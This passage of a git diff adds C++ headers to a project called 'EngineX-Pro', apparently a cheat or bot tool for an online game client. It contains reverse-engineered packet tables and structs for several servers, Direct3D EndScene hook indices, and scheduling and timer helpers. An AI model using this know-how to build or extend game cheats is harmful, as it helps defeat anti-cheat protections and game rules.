HEADER_GC_CHAR_ADDITIONAL_INFO = 136, + HEADER_GC_MAIN_CHARACTER3_BGM = 137, + HEADER_GC_MAIN_CHARACTER4_BGM_VOL = 138, + HEADER_GC_AUTH_SUCCESS = 150, + HEADER_GC_PANAMA_PACK = 151, + HEADER_GC_HYBRIDCRYPT_KEYS = 152, + HEADER_GC_HYBRIDCRYPT_SDB = 153, + HEADER_GC_AUTH_SUCCESS_OPENID = 154, + HEADER_GC_RUNUP_MATRIX_QUIZ = 201, + HEADER_GC_NEWCIBN_PASSPOD_REQUEST = 202, + HEADER_GC_NEWCIBN_PASSPOD_FAILURE = 203, + HEADER_GC_HS_REQUEST = 204, + HEADER_GC_XTRAP_CS1_REQUEST = 205, + HEADER_GC_SPECIFIC_EFFECT = 208, + HEADER_GC_DRAGON_SOUL_REFINE = 209, + HEADER_GC_RESPOND_CHANNELSTATUS = 210, + HEADER_GC_KEY_AGREEMENT_COMPLETED = 0xfa, + HEADER_GC_KEY_AGREEMENT = 0xfb, + HEADER_GC_HANDSHAKE_OK = 0xfc, + HEADER_GC_PHASE = 0xfd, + HEADER_GC_BINDUDP = 0xfe, + HEADER_GC_HANDSHAKE = 0xff, +}; +enum +{ + POINT_MAX_NUM = 255, + CHARACTER_NAME_MAX_LEN = 24, +#if defined(LOCALE_SERVICE_JAPAN) + PLAYER_NAME_MAX_LEN = 16, +#else + PLAYER_NAME_MAX_LEN = 12, +#endif +}; + +typedef MapaGlobal::std::map TCharacterInstanceMapGlobal; +typedef std::map TCharacterInstanceMap; + + +#pragma pack (push, 1) + +#define WORD_MAX 0xffff +typedef struct SItemPos +{ + BYTE window_type; + WORD cell; + //BYTE unk; + SItemPos() + { + window_type = INVENTORY; + cell = WORD_MAX; + } + SItemPos(BYTE _window_type, WORD _cell) + { + window_type = _window_type; + cell = _cell; + //unk = 0x00; + } +} TItemPos; +#pragma pack(pop) +#pragma pack (push, 1) +typedef struct command_attack +{ + BYTE header; + BYTE bType; // °ø°Ý À¯Çü + DWORD dwVictimVID; // Àû VID + BYTE bCRCMagicCubeProcPiece; + BYTE bCRCMagicCubeFilePiece; +} TPacketCGAttack; + + +//typedef struct command_move +//{ +// BYTE bHeader; +// BYTE bFunc; +// BYTE bArg; +// BYTE bRot; +// LONG lX; +// LONG lY; +// DWORD dwTime; +//} TPacketCGMove; + +typedef struct command_move_aeldra +{ + WORD header; + DWORD size; + BYTE unknown; + LONG lX; + LONG lY; + WORD bFunc; + WORD bArg; + BYTE bRot; + DWORD dwTime; +} TPacketCGStatePacket; + +typedef struct command_sync_position +{ + BYTE header; + WORD wSize; +} TPacketCGSyncPosition; + +typedef struct command_sync_position_element +{ + DWORD dwVID; + long lX; + long lY; +} TPacketCGSyncPositionElement; + +typedef struct packet_fly +{ + BYTE bHeader; + BYTE bType; + DWORD dwStartVID; + DWORD dwEndVID; +} TPacketGCCreateFly; +typedef struct packet_add_char +{ + BYTE header; + + DWORD dwVID; + +} TPacketGCCharacterAdd; + +typedef struct packet_update_char +{ + BYTE header; + DWORD dwVID; +} TPacketGCCharacterUpdate; + +typedef struct packet_sfishing +{ + BYTE header; +} TPacketCGFishingX; + +typedef struct packet_fishing +{ + BYTE header; + BYTE subheader; + DWORD info; + BYTE dir; +} TPacketGCFishing; + +typedef struct packet_fishing_kevra +{ + BYTE header; + BYTE subheader; + DWORD info; + BYTE dir; + BYTE click_count; + BYTE unk1; + BYTE unk2; + BYTE unk3; +} TPacketGCFishingKevra; + +typedef struct packet_fishing_global +{ + BYTE header; + BYTE subheader; + DWORD info; + WORD dir; +} TPacketGCFishingGlobal; + +typedef struct packet_fishing_pangea +{ + BYTE header; + BYTE subheader; + + DWORD vid; +BYTE unk; + BYTE count; + +} TPacketGCFishingPangea; + +typedef struct packet_ground_del_item +{ + BYTE header; + DWORD vid; +} TPacketGCItemGroundDel; + +typedef struct packet_ground_add_item +{ + BYTE bHeader; + long lX; + long lY; + long lZ; + + DWORD dwVID; + DWORD dwVnum; +} TPacketGCItemGroundAdd; + +typedef struct packet_item_ownership +{ + BYTE bHeader; + DWORD dwVID; + char szName[CHARACTER_NAME_MAX_LEN + 1]; +} TPacketGCItemOwnership; + +typedef struct packet_del_char +{ + BYTE header; + DWORD dwVID; +} TPacketGCCharacterDelete; + + +typedef struct packet_whisper // °¡º¯ ÆÐŶ +{ + BYTE bHeader; + WORD wSize; + BYTE bType; + char szNameFrom[CHARACTER_NAME_MAX_LEN + 1]; +} TPacketGCWhisper; + +typedef struct SMobSkillLevel +{ + DWORD dwVnum; + BYTE bLevel; +} TMobSkillLevel; + +typedef struct SMobTable_r255 +{ + DWORD dwVnum; + char szName[CHARACTER_NAME_MAX_LEN + 1]; + char szLocaleName[CHARACTER_NAME_MAX_LEN + 1]; + + BYTE bType; // Monster, NPC + BYTE bRank; // PAWN, KNIGHT, KING + //BYTE bBattleType; // MELEE, etc.. + //BYTE bLevel; // Level + //BYTE bSize; + + //DWORD dwGoldMin; + //DWORD dwGoldMax; + //DWORD dwExp; + //DWORD dwMaxHP; + //BYTE bRegenCycle; + //BYTE bRegenPercent; + //WORD wDef; + + //DWORD dwAIFlag; + //DWORD dwRaceFlag; + //DWORD dwImmuneFlag; + + //BYTE bStr, bDex, bCon, bInt; + //DWORD dwDamageRange[2]; + + //short sAttackSpeed; + //short sMovingSpeed; + //BYTE bAggresiveHPPct; + //WORD wAggressiveSight; + //WORD wAttackRange; + + //char cEnchants[6]; + //char cResists[6]; + + //DWORD dwResurrectionVnum; + //DWORD dwDropItemVnum; + + //BYTE bMountCapacity; + //BYTE bOnClickType; + + //BYTE bEmpire; + //char szFolder[64 + 1]; + //float fDamMultiply; + //DWORD dwSummonVnum; + //DWORD dwDrainSP; + //DWORD dwMonsterColor; + //DWORD dwPolymorphItemVnum; + + //TMobSkillLevel Skills[5]; + + //BYTE bBerserkPoint; + //BYTE bStoneSkinPoint; + //BYTE bGodSpeedPoint; + //BYTE bDeathBlowPoint; + //BYTE bRevivePoint; +} TMobTable_r255; +typedef TMobTable_r255 SMobTable, TMobTable; + + +typedef struct SGroundItemInstance +{ + DWORD Instance; + DWORD dwVirtualNumber; + D3DXVECTOR3 v3EndPosition; + D3DXVECTOR3 v3RotationAxis; + D3DXQUATERNION qEnd; + D3DXVECTOR3 v3Center; + DWORD* ThingInstance; + DWORD dwStartTime; + DWORD dwEndTime; + DWORD eDropSoundType; + std::string stOwnership; +} TGroundItemInstance; + +typedef struct SGroundItemInstanceGlobal +{ + DWORD Instance; + DWORD dwVirtualNumber; + D3DXVECTOR3 v3EndPosition; + D3DXVECTOR3 v3RotationAxis; + D3DXQUATERNION qEnd; + D3DXVECTOR3 v3Center; + DWORD* ThingInstance; + DWORD dwStartTime; + DWORD dwEndTime; + DWORD eDropSoundType; + BYTE unk2[756]; + char stOwnership[24]; +} TGroundItemInstanceGlobal; + + +typedef MapaGlobal::std::map TGroundItemInstanceMapGlobal; +typedef std::map TGroundItemInstanceMap; + +typedef struct SAttachingData +{ + DWORD dwType; + + BOOL isAttaching; + DWORD dwAttachingModelIndex; + std::string strAttachingBoneName; + + DWORD* pCollisionData; + DWORD* pEffectData; + DWORD* pObjectData; +} TAttachingData; + +typedef std::vector TAttachingDataVector; + + +typedef struct SItemTable_r156 +{ + DWORD dwVnum; + DWORD dwVnumRange; + char szName[24 + 1]; + char szLocaleName[24 + 1]; + BYTE bType; + BYTE bSubType; + BYTE bWeight; + BYTE bSize; + DWORD dwAntiFlags; + DWORD dwFlags; + DWORD dwWearFlags; + DWORD dwImmuneFlag; + DWORD dwIBuyItemPrice; + DWORD dwISellItemPrice; +} TItemTable; + +typedef struct CItemData +{ + TItemTable m_ItemTable; +} TCItemData; + +typedef struct CItemDataGlobal +{ + BYTE unk2[60]; + TItemTable m_ItemTable; +} TCItemDataGlobal; + + +typedef MapaGlobal::std::map TItemMapGlobal; +typedef std::map TItemMap; + +const char* sServerToClient[] = { + + "UNKNOWN", + "HEADER_GC_CHARACTER_ADD", + "HEADER_GC_CHARACTER_DEL", + "HEADER_GC_CHARACTER_MOVE", + "HEADER_GC_CHAT", + "HEADER_GC_SYNC_POSITION", + "HEADER_GC_LOGIN_SUCCESS3", + "HEADER_GC_LOGIN_FAILURE", + "HEADER_GC_PLAYER_CREATE_SUCCESS", + "HEADER_GC_PLAYER_CREATE_FAILURE", + "HEADER_GC_PLAYER_DELETE_SUCCESS", + "HEADER_GC_PLAYER_DELETE_WRONG_SOCIAL_ID", + "UNKNOWN", + "HEADER_GC_STUN", + "HEADER_GC_DEAD", + "HEADER_GC_MAIN_CHARACTER", + "HEADER_GC_PLAYER_POINTS", + "HEADER_GC_PLAYER_POINT_CHANGE", + "HEADER_GC_CHANGE_SPEED", + "HEADER_GC_CHARACTER_UPDATE", + "HEADER_GC_ITEM_SET", + "HEADER_GC_ITEM_SET2", + "HEADER_GC_ITEM_USE", + "HEADER_GC_ITEM_DROP", + "UNKNOWN", + "HEADER_GC_ITEM_UPDATE", + "HEADER_GC_ITEM_GROUND_ADD", + "HEADER_GC_ITEM_GROUND_DEL", + "HEADER_GC_QUICKSLOT_ADD", + "HEADER_GC_QUICKSLOT_DEL", + "HEADER_GC_QUICKSLOT_SWAP", + "HEADER_GC_ITEM_OWNERSHIP", + "HEADER_GC_LOGIN_SUCCESS4", + "HEADER_GC_ITEM_UNBIND_TIME", + "HEADER_GC_WHISPER", + "HEADER_GC_ALERT", + "HEADER_GC_MOTION", + "UNKNOWN", + "HEADER_GC_SHOP", + "HEADER_GC_SHOP_SIGN", + "HEADER_GC_DUEL_START", + "HEADER_GC_PVP", + "HEADER_GC_EXCHANGE", + "HEADER_GC_CHARACTER_POSITION", + "HEADER_GC_PING", + "HEADER_GC_SCRIPT", + "HEADER_GC_QUEST_CONFIRM", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_GC_MOUNT", + "HEADER_GC_OWNERSHIP", + "HEADER_GC_TARGET", + "UNKNOWN", + "HEADER_GC_WARP", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_GC_ADD_FLY_TARGETING", + "HEADER_GC_CREATE_FLY", + "HEADER_GC_FLY_TARGETING", + "HEADER_GC_SKILL_LEVEL", + "HEADER_GC_SKILL_COOLTIME_END", + "HEADER_GC_MESSENGER", + "HEADER_GC_GUILD", + "HEADER_GC_SKILL_LEVEL_NEW", + "HEADER_GC_PARTY_INVITE", + "HEADER_GC_PARTY_ADD", + "HEADER_GC_PARTY_UPDATE", + "HEADER_GC_PARTY_REMOVE", + "HEADER_GC_QUEST_INFO", + "HEADER_GC_REQUEST_MAKE_GUILD", + "HEADER_GC_PARTY_PARAMETER", + "HEADER_GC_SAFEBOX_MONEY_CHANGE", + "HEADER_GC_SAFEBOX_SET", + "HEADER_GC_SAFEBOX_DEL", + "HEADER_GC_SAFEBOX_WRONG_PASSWORD", + "HEADER_GC_SAFEBOX_SIZE", + "HEADER_GC_FISHING", + "HEADER_GC_EMPIRE", + "HEADER_GC_PARTY_LINK", + "HEADER_GC_PARTY_UNLINK", + "UNKNOWN", + "UNKNOWN", + "HEADER_GC_REFINE_INFORMATION", + "HEADER_GC_OBSERVER_ADD", + "HEADER_GC_OBSERVER_REMOVE", + "HEADER_GC_OBSERVER_MOVE", + "HEADER_GC_VIEW_EQUIP", + "HEADER_GC_MARK_BLOCK", + "HEADER_GC_MARK_DIFF_DATA", + "HEADER_GC_MARK_IDXLIST", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_GC_TIME", + "HEADER_GC_CHANGE_NAME", + "UNKNOWN", + "UNKNOWN", + "HEADER_GC_DUNGEON", + "HEADER_GC_WALK_MODE", + "HEADER_GC_CHANGE_SKILL_GROUP", + "HEADER_GC_MAIN_CHARACTER2_EMPIRE", + "HEADER_GC_SEPCIAL_EFFECT", + "HEADER_GC_NPC_POSITION", + "HEADER_GC_CHINA_MATRIX_CARD", + "HEADER_GC_CHARACTER_UPDATE2", + "HEADER_GC_LOGIN_KEY", + "HEADER_GC_REFINE_INFORMATION_NEW", + "HEADER_GC_CHARACTER_ADD2", + "HEADER_GC_CHANNEL", + "HEADER_GC_MALL_OPEN", + "HEADER_GC_TARGET_UPDATE", + "HEADER_GC_TARGET_DELETE", + "HEADER_GC_TARGET_CREATE_NEW", + "HEADER_GC_AFFECT_ADD", + "HEADER_GC_AFFECT_REMOVE", + "HEADER_GC_MALL_SET", + "HEADER_GC_MALL_DEL", + "HEADER_GC_LAND_LIST", + "HEADER_GC_LOVER_INFO", + "HEADER_GC_LOVE_POINT_UPDATE", + "HEADER_GC_GUILD_SYMBOL_DATA", + "HEADER_GC_DIG_MOTION", + "HEADER_GC_DAMAGE_INFO", + "HEADER_GC_CHAR_ADDITIONAL_INFO", + "HEADER_GC_MAIN_CHARACTER3_BGM", + "HEADER_GC_MAIN_CHARACTER4_BGM_VOL", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_GC_AUTH_SUCCESS", + "HEADER_GC_PANAMA_PACK", + "HEADER_GC_HYBRIDCRYPT_KEYS", + "HEADER_GC_HYBRIDCRYPT_SDB", + "HEADER_GC_AUTH_SUCCESS_OPENID", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_GC_RUNUP_MATRIX_QUIZ", + "HEADER_GC_NEWCIBN_PASSPOD_REQUEST", + "HEADER_GC_NEWCIBN_PASSPOD_FAILURE", + "HEADER_GC_HS_REQUEST", + "HEADER_GC_XTRAP_CS1_REQUEST", + "UNKNOWN", + "UNKNOWN", + "HEADER_GC_SPECIFIC_EFFECT", + "HEADER_GC_DRAGON_SOUL_REFINE", + "HEADER_GC_RESPOND_CHANNELSTATUS", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_GC_KEY_AGREEMENT_COMPLETED", + "HEADER_GC_KEY_AGREEMENT", + "HEADER_GC_HANDSHAKE_OK", + "HEADER_GC_PHASE", + "HEADER_GC_BINDUDP", + "HEADER_GC_HANDSHAKE" +}; +const char* sClientToServer[] = { + "UNKNOWN", + "HEADER_CG_LOGIN", + "HEADER_CG_ATTACK", + "HEADER_CG_CHAT", + "HEADER_CG_PLAYER_CREATE", + "HEADER_CG_PLAYER_DESTROY", + "HEADER_CG_PLAYER_SELECT", + "HEADER_CG_CHARACTER_MOVE", + "HEADER_CG_SYNC_POSITION", + "HEADER_CG_DIRECT_ENTER", + "HEADER_CG_ENTERGAME", + "HEADER_CG_ITEM_USE", + "HEADER_CG_ITEM_DROP", + "HEADER_CG_ITEM_MOVE", + "UNKNOWN", + "HEADER_CG_ITEM_PICKUP", + "HEADER_CG_QUICKSLOT_ADD", + "HEADER_CG_QUICKSLOT_DEL", + "HEADER_CG_QUICKSLOT_SWAP", + "HEADER_CG_WHISPER", + "HEADER_CG_ITEM_DROP2", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_CG_ON_CLICK", + "HEADER_CG_EXCHANGE", + "HEADER_CG_CHARACTER_POSITION", + "HEADER_CG_SCRIPT_ANSWER", + "HEADER_CG_QUEST_INPUT_STRING", + "HEADER_CG_QUEST_CONFIRM", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_CG_PVP", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_CG_SHOP", + "HEADER_CG_FLY_TARGETING", + "HEADER_CG_USE_SKILL", + "HEADER_CG_ADD_FLY_TARGETING", + "HEADER_CG_SHOOT", + "HEADER_CG_MYSHOP", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_CG_ITEM_USE_TO_ITEM", + "HEADER_CG_TARGET", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_CG_WARP", + "HEADER_CG_SCRIPT_BUTTON", + "HEADER_CG_MESSENGER", + "UNKNOWN", + "HEADER_CG_MALL_CHECKOUT", + "HEADER_CG_SAFEBOX_CHECKIN", + "HEADER_CG_SAFEBOX_CHECKOUT", + "HEADER_CG_PARTY_INVITE", + "HEADER_CG_PARTY_INVITE_ANSWER", + "HEADER_CG_PARTY_REMOVE", + "HEADER_CG_PARTY_SET_STATE", + "HEADER_CG_PARTY_USE_SKILL", + "HEADER_CG_SAFEBOX_ITEM_MOVE", + "HEADER_CG_PARTY_PARAMETER", + "UNKNOWN", + "HEADER_CG_GUILD", + "HEADER_CG_ANSWER_MAKE_GUILD", + "HEADER_CG_FISHING", + "HEADER_CG_GIVE_ITEM", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_CG_EMPIRE", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_CG_REFINE", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_CG_MARK_LOGIN", + "HEADER_CG_MARK_CRCLIST", + "UNKNOWN", + "HEADER_CG_CRC_REPORT", + "HEADER_CG_MARK_IDXLIST", + "HEADER_CG_HACK", + "HEADER_CG_CHANGE_NAME", + "HEADER_CG_SMS", + "HEADER_CG_CHINA_MATRIX_CARD", + "HEADER_CG_LOGIN2", + "HEADER_CG_DUNGEON", + "HEADER_CG_LOGIN3", + "HEADER_CG_GUILD_SYMBOL_UPLOAD", + "HEADER_CG_GUILD_SYMBOL_CRC", + "HEADER_CG_SCRIPT_SELECT_ITEM", + "HEADER_CG_LOGIN4", + "HEADER_CG_LOGIN5_OPENID", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_CG_RUNUP_MATRIX_ANSWER", + "HEADER_CG_NEWCIBN_PASSPOD_ANSWER", + "HEADER_CG_HS_ACK", + "HEADER_CG_XTRAP_ACK", + "HEADER_CG_DRAGON_SOUL_REFINE", + "HEADER_CG_STATE_CHECKER", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_CG_CLIENT_VERSION2", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "UNKNOWN", + "HEADER_CG_KEY_AGREEMENT", + "HEADER_CG_TIME_SYNC", + "HEADER_CG_CLIENT_VERSION", + "HEADER_CG_PONG", + "HEADER_CG_HANDSHAKE" + +}; \ No newline at end of file diff --git a/EngineX-Pro/DelayActions.h b/EngineX-Pro/DelayActions.h new file mode 100644 index 0000000..cf7ae36 --- /dev/null +++ b/EngineX-Pro/DelayActions.h @@ -0,0 +1,235 @@ +#pragma once + + + +//################################################################################################################################# +class DelayActions +{ +public: + class IAction + { + public: + virtual ~IAction() {} + + virtual void Call() = 0; + virtual bool IsReady() = 0; + virtual bool IsEnded() = 0; + virtual bool IsWaitAfter() = 0; + virtual bool IsWaitBlock() = 0; + virtual DWORD* GetFunctionPtr() = 0; + virtual bool IsUniqueEquals(string uniqueString) = 0; + }; + template + //################################################################################################################################# + class Action : public IAction + { + enum Status + { + WAITING, + READY, + ENDED + }; + std::function::type()> task; + DWORD miliseconds; + DWORD startTickCount; + DWORD* functionPointer; + Status status; + bool isWaitAfter; + bool isWaitBlock; + string uniqueString; + public: + //################################################################################################################################# + Action(bool isWaitBlock, bool isWaitAfter, string uniqueString, DWORD miliseconds, T&& function, Args&&... args) + { + this->miliseconds = miliseconds; + this->task = (std::bind(std::forward(function), std::forward(args)...)); + this->startTickCount = GetTickCount(); + this->functionPointer = (DWORD*)function; + this->isWaitAfter = isWaitAfter; + this->isWaitBlock = isWaitBlock; + this->status = Status::WAITING; + this->uniqueString = uniqueString; + } + //################################################################################################################################# + virtual ~Action()override + { + this->miliseconds = 0; + this->startTickCount = 0; + this->functionPointer = NULL; + this->isWaitAfter = NULL; + this->isWaitBlock = NULL; + this->uniqueString = ""; + } + //################################################################################################################################# + virtual bool IsWaitAfter() override + { + return this->isWaitAfter; + } + //################################################################################################################################# + virtual bool IsWaitBlock() override + { + return this->isWaitBlock; + } + //################################################################################################################################# + virtual bool IsReady() override + { + if (!isWaitAfter && (GetTickCount() - startTickCount) >= miliseconds && this->status == Status::WAITING) + { + this->status = Status::READY; + return true; + } + else if (isWaitAfter && this->status == Status::WAITING) + { + this->status = Status::READY; + return true; + } + else + { + return false; + } + } + //################################################################################################################################# + virtual bool IsEnded() override + { + if (!isWaitAfter && status == Status::ENDED) + { + return true; + } + else if (isWaitAfter && status == Status::ENDED) + { + if ((GetTickCount() - startTickCount) >= miliseconds) + { + return true; + } + else + { + return false; + } + } + else + { + return false; + } + } + //################################################################################################################################# + virtual DWORD* GetFunctionPtr() override + { + return functionPointer; + } + //################################################################################################################################# + virtual bool IsUniqueEquals(string uniqueString) override + { + if (this->uniqueString == "") + { + return false; + } + else if (this->uniqueString == uniqueString) + { + return true; + } + else + { + return false; + } + } + //################################################################################################################################# + virtual void Call() override + { + task(); + if (isWaitAfter) + { + startTickCount = GetTickCount(); + } + + this->status = Status::ENDED; + } + }; + +private: + static std::vector< std::shared_ptr> actionsList; +public: + template + static std::shared_ptr MakeSharedPtr(bool isWaitBlock, bool isWaitAfter, string uniqueString, DWORD miliseconds, T&& function, Args&&... args) + { + return std::make_shared>(isWaitBlock, isWaitAfter, uniqueString, miliseconds, function, args...); + } + //################################################################################################################################# + template + static bool Append(int miliseconds, T&& function, Args&&... args) + { + + actionsList.push_back(MakeSharedPtr(false, false, "", miliseconds, function, args...)); + return true; + } + //################################################################################################################################# + template + static bool AppendBlock(bool isBlockAfter, int miliseconds, T&& function, Args&&... args) + { + for (std::vector< std::shared_ptr>::iterator it = actionsList.begin(); it != actionsList.end(); ++it) + { + if (it->get()->GetFunctionPtr() == (DWORD*)function && it->get()->IsWaitBlock()) + { + return false; + } + } + actionsList.push_back(MakeSharedPtr(true, isBlockAfter, "", miliseconds, function, args...)); + return true; + } + //################################################################################################################################# + template + static bool AppendBlockUnique(bool isBlockAfter, int miliseconds, string uniqueString,T&& function, Args&&... args) + { + for (std::vector< std::shared_ptr>::iterator it = actionsList.begin(); it != actionsList.end(); ++it) + { + if (it->get()->GetFunctionPtr() == (DWORD*)function && it->get()->IsWaitBlock() && it->get()->IsUniqueEquals(uniqueString)) + { + return false; + } + } + actionsList.push_back(MakeSharedPtr(true, true, uniqueString, miliseconds, function, args...)); + return true; + } + //################################################################################################################################# + static bool Update() + { + + std::vector< std::shared_ptr> temp(actionsList); + + + for (std::vector< std::shared_ptr>::iterator it = temp.begin(); it != temp.end(); ++it) + { + if (it->get()->IsReady()) + { + it->get()->Call(); + } + } + std::vector< std::shared_ptr>::iterator it = actionsList.begin(); + while (it != actionsList.end()) + { + + if (it->get()->IsEnded()) + { + it->get()->~IAction(); + /* delete it->get();*/ + it = actionsList.erase(it); + } + else { + ++it; + } + } + return true; + } + //################################################################################################################################# + static void Clear() + { + for (std::vector< std::shared_ptr>::iterator it = actionsList.begin(); it != actionsList.end(); ++it) + { + + it->get()->~IAction(); + + } + actionsList.clear(); + } +}; +//################################################################################################################################# +std::vector< std::shared_ptr> DelayActions::actionsList; \ No newline at end of file diff --git a/EngineX-Pro/Device.h b/EngineX-Pro/Device.h new file mode 100644 index 0000000..4d7aea2 --- /dev/null +++ b/EngineX-Pro/Device.h @@ -0,0 +1,25 @@ +#pragma once +#ifdef DX9 +#define DirectDevice IDirect3DDevice9* +#define DirectDevice2 LPDIRECT3DDEVICE9 +#define DirectTexture LPDIRECT3DTEXTURE9 +#define EndSceneIndex 42 +#define ResetIndex 16 +#else +#define DirectDevice IDirect3DDevice8* +#define DirectDevice2 LPDIRECT3DDEVICE8 +#define DirectTexture LPDIRECT3DTEXTURE8 +#define EndSceneIndex 35 +#define ResetIndex 14 +#endif +#include +class Device +{ +public: + static DirectDevice2 pDevice; + static LPD3DXMESH ms_lpSphereMesh; + static LPD3DXMESH ms_lpCylinderMesh; +}; +DirectDevice2 Device::pDevice = NULL; +LPD3DXMESH Device::ms_lpSphereMesh = NULL; +LPD3DXMESH Device::ms_lpCylinderMesh = NULL; diff --git a/EngineX-Pro/DynamicTimer.h b/EngineX-Pro/DynamicTimer.h new file mode 100644 index 0000000..76200a9 --- /dev/null +++ b/EngineX-Pro/DynamicTimer.h @@ -0,0 +1,79 @@ +#pragma once +class DynamicTimer +{ + static map< string, DWORD> timersList; +public: + static bool CheckAutoSet(string timerName,DWORD timeMiliseconds) + { + if (timersList.count(timerName)) + { + if (GetTickCount() - timersList[timerName] > timeMiliseconds) + { + timersList[timerName] = GetTickCount(); + return true; + } + else + { + return false; + } + } + else + { + timersList.insert(std::make_pair(timerName, GetTickCount())); + return true; + } + + } + + static bool Check(string timerName, DWORD timeMiliseconds ) + { + if (timersList.count(timerName)) + { + if (GetTickCount() - timersList[timerName] > timeMiliseconds) + { + + return true; + } + else + { + return false; + } + } + else + { + timersList.insert(std::make_pair(timerName, GetTickCount())); + return true; + } + + } + static bool SetTick(string timerName ) + { + if (timersList.count(timerName)) + { + + timersList[timerName] = GetTickCount(); + return true; + } + return false; + } + + static bool IsActive(string timerName, DWORD timeMiliseconds) + { + if (timersList.count(timerName)) + { + + if (GetTickCount() - timersList[timerName] > timeMiliseconds) + { + + return false; + } + else + { + return true; + } + } + return false; + } +}; + + map< string, DWORD> DynamicTimer::timersList; \ No newline at end of file diff --git 